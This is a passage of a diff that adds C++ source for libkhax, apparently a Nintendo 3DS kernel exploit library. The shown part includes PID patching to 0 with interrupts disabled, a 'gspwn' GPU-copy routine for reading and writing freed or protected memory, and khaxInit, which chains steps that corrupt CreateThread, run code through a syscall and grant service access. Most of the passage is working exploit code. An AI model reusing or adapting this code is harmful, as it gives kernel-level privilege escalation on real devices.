+ return MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Patch the PID to 0.
+Result KHAX::MemChunkHax::Step7a_PatchPID()
+{
+ // Disable interrupts ASAP.
+ // FIXME: Need a better solution for this.
+ __asm__ volatile("cpsid aif");
+
+ // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
+ // to translate the raw KProcess pointer into pointers into key fields, and we access the
+ // m_processID field from it.
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
+ .m_processID) = 0;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Restore the original PID.
+Result KHAX::MemChunkHax::Step7b_UnpatchPID()
+{
+ // Disable interrupts ASAP.
+ // FIXME: Need a better solution for this.
+ __asm__ volatile("cpsid aif");
+
+ // Patch the PID back to the original value.
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
+ .m_processID) = s_instance->m_originalPID;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Helper for dumping memory to SD card.
+template <std::size_t S>
+bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const
+{
+ char formatted[32];
+ snprintf(formatted, KHAX_lengthof(formatted), filename,
+ static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?
+ "New" : "Old");
+
+ bool result = true;
+
+ FILE *file = std::fopen(formatted, "wb");
+ if (file)
+ {
+ result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);
+ std::fclose(file);
+ }
+ else
+ {
+ result = false;
+ }
+
+ return result;
+}
+
+//------------------------------------------------------------------------------------------------
+// Free memory and such.
+KHAX::MemChunkHax::~MemChunkHax()
+{
+ // Dump memory to SD card if that is enabled.
+#ifdef KHAX_DEBUG_DUMP_DATA
+ if (m_nextStep > 6)
+ {
+ DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");
+ DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");
+ DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");
+ }
+#endif
+
+ // If we're corrupted, we're dead.
+ if (m_corrupted > 0)
+ {
+ KHAX_printf("~:error while corrupt;freezing\n");
+ for (;;)
+ {
+ svcSleepThread(s64(60) * 1000000000);
+ }
+ }
+
+ // This function has to be careful not to crash trying to shut down after an aborted attempt.
+ if (m_overwriteMemory)
+ {
+ u32 dummy;
+
+ // Each page has a flag indicating that it is still allocated.
+ for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)
+ {
+ // Don't free a page unless it remains allocated.
+ if (m_overwriteAllocated & (1u << x))
+ {
+ Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,
+ sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));
+ KHAX_printf("free %u: %08lx\n", x, res);
+ }
+ }
+ }
+
+ // Free the extra linear memory.
+ if (m_extraLinear)
+ {
+ linearFree(m_extraLinear);
+ }
+
+ // s_instance better be us
+ if (s_instance != this)
+ {
+ KHAX_printf("~:s_instance is wrong\n");
+ }
+ else
+ {
+ s_instance = nullptr;
+ }
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Miscellaneous
+//
+
+//------------------------------------------------------------------------------------------------
+// Make an error code
+inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)
+{
+ return (level << 27) + (summary << 21) + (module << 10) + error;
+}
+
+//------------------------------------------------------------------------------------------------
+// Check whether this system is a New 3DS.
+Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)
+{
+ // If the kernel version isn't already known by the caller, find out.
+ u32 kernelVersion = kernelVersionAlreadyKnown;
+ if (kernelVersion == 0)
+ {
+ kernelVersion = osGetKernelVersion();
+ }
+
+ // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.
+ if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))
+ {
+ // Check whether the system is a New 3DS. If this fails, abort, because being wrong would
+ // crash the system.
+ u8 isNew3DS = 0;
+ if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))
+ {
+ *answer = false;
+ return error;
+ }
+
+ // Use the result of APT_CheckNew3DS.
+ *answer = isNew3DS != 0;
+ return 0;
+ }
+
+ // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.
+ *answer = false;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// gspwn, meant for reading from or writing to freed buffers.
+Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)
+{
+ // Attempt a flush of the source, but ignore the result, since we may have just been asked to
+ // read unmapped memory or something similar.
+ GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);
+
+ // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore
+ // errors, since it may be the destination that is an unmapped address.
+ GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);
+
+ // Copy that floppy.
+ if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,
+ static_cast<u32 *>(dest), 0, size, 8))
+ {
+ KHAX_printf("gspwn:copy fail:%08lx\n", result);
+ return result;
+ }
+
+ // Wait for the operation to finish.
+ if (wait)
+ {
+ gspWaitForPPF();
+ }
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Given a pointer to a structure that is a member of another structure,
+// return a pointer to the outer structure. Inspired by Windows macro.
+template <typename Outer, typename Inner>
+Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)
+{
+ unsigned char *p = reinterpret_cast<unsigned char *>(member);
+ p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));
+ return reinterpret_cast<Outer *>(p);
+}
+
+//------------------------------------------------------------------------------------------------
+// Main initialization function interface.
+extern "C" Result khaxInit()
+{
+ using namespace KHAX;
+
+#ifdef KHAX_DEBUG
+ bool isNew3DS;
+ IsNew3DS(&isNew3DS, 0);
+ KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),
+ isNew3DS);
+#endif
+
+ // Look up the current system's version in our table.
+ const VersionData *versionData = VersionData::GetForCurrentSystem();
+ if (!versionData)
+ {
+ KHAX_printf("khaxInit: Unknown kernel version\n");
+ return MakeError(27, 6, KHAX_MODULE, 39);
+ }
+
+ KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,
+ versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);
+
+ // Create the hack object.
+ MemChunkHax hax{ versionData };
+
+ // Run through the steps.
+ if (Result result = hax.Step1_Initialize())
+ {
+ KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step2_AllocateMemory())
+ {
+ KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step3_SurroundFree())
+ {
+ KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step4_VerifyExpectedLayout())
+ {
+ KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step5_CorruptCreateThread())
+ {
+ KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step6_ExecuteSVCCode())
+ {
+ KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step7_GrantServiceAccess())
+ {
+ KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("khaxInit: done\n");
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything
+// and frees all memory on the way out.
+extern "C" Result khaxExit()
+{
+ return 0;
+}
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